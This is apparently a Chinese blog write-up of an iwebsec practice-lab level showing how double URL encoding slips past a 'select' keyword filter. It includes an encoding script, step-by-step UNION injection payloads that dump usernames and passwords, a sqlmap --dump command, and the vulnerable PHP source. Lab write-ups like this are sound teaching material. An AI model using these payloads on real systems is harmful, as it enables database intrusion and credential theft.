iwebsec-sql注入 10 双重url编码绕过

发布时间 2023-08-18 19:41:11作者: 别打扰我摸鱼

01、题目分析

依旧是对关键词进行了过滤,除了双写大小写等过滤方法还可以采用双重url编码,

在 SQL 注入攻击中,双层 URL 编码绕过机制是一种黑客利用 URL 编码的漏洞绕过安全检查的手法。原始的 URL 编码是将特殊字符转换成 % 后面跟着它的 ASCII 值的十六进制表示。例如,' 被编码为 %27" 被编码为 %22

然而,某些 Web 应用程序在接收到 URL 编码值时,会自动对它进行解码,然后再进行一次处理。这意味着攻击者可以使用双层 URL 编码来绕过输入过滤和验证机制。

攻击者可以首先将攻击字符串进行一次 URL 编码,然后将编码后的值再次进行 URL 编码。这样,第一层的编码将被解码,然后第二层的编码也将被解码。这样做的目的是让关键的特殊字符在第二次解码时恢复成原始状态。

例如,假设原始的注入尝试是:' OR 1=1--。这个字符串经过一次 URL 编码后变成 %27%20OR%201%3D1--。然后,攻击者将这个编码后的字符串再次进行 URL 编码,变成 %2527%2520OR%25201%253D1--。当服务器尝试解码这个值时,第一次解码会还原为 %27%20OR%201%3D1--,然后第二次解码会得到原始的注入字符串 ' OR 1=1--

02、手工注入

这个依旧是把select关键词给过滤了,那么我们可以采用双层url编码进行绕过过滤,但是众所周知,常规的url编码只会编码空格啥的,一般不会编码字母,那么select怎么进行url编码呢,这时就可以先把字母转为ASCII表,然后再把ASCII表的十进制结果转为十六进制,然后前面加上百分号即可,一下附上url编码字母脚本

def url_encode_letter(letter):
    # 将字符转换为 ASCII 表中对应的数字
    ascii_code = ord(letter)
    # 将数字转换为十六进制形式,并去掉前缀 '0x'
    hex_code = hex(ascii_code)[2:]
    # 在十六进制值前面加上百分号
    encoded_letter = '%' + hex_code
    return encoded_letter

def url_encode_text(text):
    # 对输入的文本中的每个字母调用 url_encode_letter() 函数,并将编码后的字母连接起来形成最终的编码字符串
    encoded_text = ''.join(url_encode_letter(letter) for letter in text)
    return encoded_text


# 示例用法
text = "select"
encoded_text = url_encode_text(text)
print(encoded_text)


输出结果%73%65%6c%65%63%74
二次编码结果%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34
但是我们知道,对关键字进行过滤,我们并不需要全部编码,只需要编码select的一部分即可,那么我们编码字母l即可

输出结果:%6c

二次编码结果:%25%36%63

那么我们就可以将select替换成se%25%36%63ect,来实现注入,需要注意的是,一般在源码中进行编码的时候,单引号,双引号,\,null都会别特殊处理为\’,\’’,\,\0,因此我们对于这些字符也需要重新编码,对于单引号,替换成%2527

?id=1 order by 3
-- id=-1就是不显示内容
id=-1 union se%25%36%63ect 1,2,3
?id=-1 union= se%25%36%63ect 1,2,database()
?id=-1 union se%25%36%63ect 1,2,group_concat(table_name) from information_schema.tables where table_schema=%2527iwebsec%2527
?id=-1 union se%25%36%63ect 1,2,group_concat(column_name) from information_schema.columns where table_name=%2527sqli%2527
?id=-1 union se%25%36%63ect 1,2,group_concat(concat_ws('~',username,password)) from iwebsec.sqli

02、工具注入

直接一把梭哈

python .\sqlmap.py -u "http://www.bdrwmy.cn:8001/sqli/10.php?id=1"  --current-db --dump --batch 

image

03、代码分析

<?php
  if(isset($_GET['id'])){  // 检查是否存在GET请求的 'id' 参数
	if (preg_match('/select/', $_GET["id"])) {  // 使用正则表达式检查 'id' 参数中是否包含 "select" 关键字
		die("ERROR");  // 如果包含 "select" 关键字,则终止脚本执行并输出 "ERROR" 消息
	}else{
		$id = urldecode($_GET['id']);  // 解码并存储 'id' 参数
		$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";  // 构建 SQL 查询语句,从 'user' 表中根据 'id' 查询用户信息
		$result=mysql_query($sql);  // 执行 SQL 查询语句并将结果存储在 $result 变量中
	}
  }else{
		exit();  // 如果不存在 'id' 参数,则终止脚本执行
	}
	if ($result) {  // 如果查询结果成功
		?>
		<table class='table table-striped'>  // 输出 HTML 表格的起始标签,并设置 class 属性
      		<tr><th>id</th><th>name</th><th>age</th></tr>  // 表头行,显示 'id'、'name' 和 'age' 列的标题
		<?php
		while ($row = mysql_fetch_assoc($result)) {  // 使用 mysql_fetch_assoc 逐行获取查询结果中的数据
			echo "<tr>";  // 输出 HTML 表格的行标签的起始标签
    			echo "<td>".$row['id']."</td>";  // 输出当前行的 'id' 列数据
    			echo "<td>".$row['username']."</td>";  // 输出当前行的 'username' 列数据
    			echo "<td>".$row['password']."</td>";  // 输出当前行的 'password' 列数据
			echo "</tr>";  // 输出 HTML 表格的行标签的结束标签
		}	
		echo "</table>";  // 输出 HTML 表格的结束标签
	}
	else 
	{
		// echo '<font color= "#FFFFFF">';  // 输出白色字体的起始标签(被注释掉)
		print_r(mysql_error());  // 输出 MySQL 错误信息
		// echo "</font>";  // 输出白色字体的结束标签(被注释掉)
	}
  require_once '../footer.php';  // 引入 footer.php 文件
?>